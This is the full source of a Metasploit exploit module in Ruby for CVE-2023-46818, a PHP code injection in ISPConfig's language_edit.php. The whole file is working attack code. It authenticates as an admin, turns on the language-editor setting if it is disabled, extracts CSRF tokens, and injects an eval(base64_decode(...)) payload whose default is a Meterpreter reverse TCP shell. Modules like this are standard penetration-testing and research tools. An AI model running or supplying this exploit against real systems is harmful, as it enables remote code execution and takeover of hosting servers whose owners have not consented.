## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'ISPConfig language_edit.php PHP Code Injection', 'Description' => %q{ This module exploits a PHP code injection vulnerability in ISPConfig's language_edit.php file. The vulnerability occurs when the `admin_allow_langedit` setting is enabled, allowing authenticated administrators to inject arbitrary PHP code through the language editor interface. This module will automatically check if the required `admin_allow_langedit` permission is enabled, and attempt to enable it if it's disabled (requires admin credentials with system configuration access). The exploit works by injecting a PHP payload into a language file, which is then executed when the file is accessed. The payload is base64 encoded and written using PHP's file_put_contents function. }, 'License' => MSF_LICENSE, 'Author' => [ 'syfi', # Discovery and PoC 'Egidio Romano' ], 'References' => [ ['CVE', '2023-46818'], ['URL', 'https://github.com/SyFi/CVE-2023-46818'], ['URL', 'https://karmainsecurity.com/KIS-2023-13'], ['URL', 'https://karmainsecurity.com/pocs/CVE-2023-46818.php'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ] ], 'Privileged' => false, 'DisclosureDate' => '2023-10-24', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The URI path to ISPConfig', '/']), OptString.new('USERNAME', [true, 'ISPConfig administrator username']), OptString.new('PASSWORD', [true, 'ISPConfig administrator password']) ]) end def check print_status('Checking if the target is ISPConfig...') return CheckCode::Unknown('Failed to login') unless authenticate # Always try to log in and parse version, since credentials are required # cookie_jar.clear (handled in exploit) # Try to access the dashboard or settings page settings_res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'help', 'version.php'), 'keep_cookies' => true }) if settings_res doc = settings_res.get_html_document # Try to find version in a span, div, or similar element version_element = doc.at('//p[@class="frmTextHead"]') if version_element version_text = version_element.text version = version_text.split(':')[1].gsub(' ', '') version = Rex::Version.new(version) if version < Rex::Version.new('3.2.11p1') print_good("ISPConfig version detected: #{version_text}") return CheckCode::Appears("Version: #{version_text}") end end end CheckCode::Safe end def authenticate print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login/'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 's_mod' => 'login' }, 'keep_cookies' => true }) return false unless res if res&.code == 302 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login/', res&.headers&.fetch('Location', nil)) }) end body_downcase = res.body.downcase.freeze return false if body_downcase.include?('username or password wrong') if res.headers.fetch('Location', nil)&.include?('admin') || body_downcase.include?('dashboard') print_good('Login successful!') return true end print_warning('Login status unclear, attempting to continue...') true end def check_langedit_permission print_status('Checking if admin_allow_langedit is enabled...') # Try to access the language editor to see if it's accessible edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => edit_url, 'keep_cookies' => true }) if res&.code == 200 && res.body.include?('language_edit') print_good('Language editor is accessible - admin_allow_langedit appears to be enabled') return true elsif res&.code == 403 print_warning('Language editor access denied - admin_allow_langedit may be disabled') return false else print_warning('Could not determine language editor accessibility') return false end end def enable_langedit_permission print_status('Attempting to enable admin_allow_langedit...') # Try to access the system settings page settings_url = normalize_uri(target_uri.path, 'admin', 'system_config.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => settings_url, 'keep_cookies' => true }) unless res && res.code == 200 print_warning('Could not access system configuration page') return false end doc = res.get_html_document csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value') csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value') unless csrf_id && csrf_key print_warning('Could not extract CSRF tokens from system config page') return false end # Try to enable the setting enable_data = { '_csrf_id' => csrf_id, '_csrf_key' => csrf_key, 'admin_allow_langedit' => '1', 'action' => 'save' } res = send_request_cgi({ 'method' => 'POST', 'uri' => settings_url, 'vars_post' => enable_data, 'keep_cookies' => true }) if res&.code == 200 print_good('Successfully enabled admin_allow_langedit') return true else print_warning('Failed to enable admin_allow_langedit') return false end end def inject_payload print_status('Injecting PHP payload...') @payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php" b64_payload = Base64.strict_encode64(payload.encoded) injection = "'];eval(base64_decode('#{b64_payload}'));die;#" lang_file = Rex::Text.rand_text_alpha_lower(10) + '.lng' edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php') initial_data = { 'lang' => 'en', 'module' => 'help', 'lang_file' => lang_file } res = send_request_cgi({ 'method' => 'POST', 'uri' => edit_url, 'vars_post' => initial_data, 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res doc = res.get_html_document csrf_id = doc.at('input[name="_csrf_id"]')&.[]('value') csrf_key = doc.at('input[name="_csrf_key"]')&.[]('value') unless csrf_id && csrf_key fail_with(Failure::UnexpectedReply, 'CSRF tokens not found!') end print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...") injection_data = { 'lang' => 'en', 'module' => 'help', 'lang_file' => lang_file, '_csrf_id' => csrf_id, '_csrf_key' => csrf_key, 'records[\]' => injection } send_request_cgi({ 'method' => 'POST', 'uri' => edit_url, 'vars_post' => injection_data, 'keep_cookies' => true }) end def exploit cookie_jar.clear fail_with(Failure::NoAccess, 'Authentication failed') unless authenticate # Check if language editor permissions are enabled unless check_langedit_permission print_warning('admin_allow_langedit appears to be disabled') print_status('Attempting to enable admin_allow_langedit...') if enable_langedit_permission print_good('Successfully enabled admin_allow_langedit, retrying exploit...') # Re-check permissions after enabling unless check_langedit_permission fail_with(Failure::NoAccess, 'Failed to enable admin_allow_langedit or language editor still not accessible') end else fail_with(Failure::UnexpectedReply, 'Could not enable admin_allow_langedit - exploit requires this setting to be enabled') end end inject_payload end end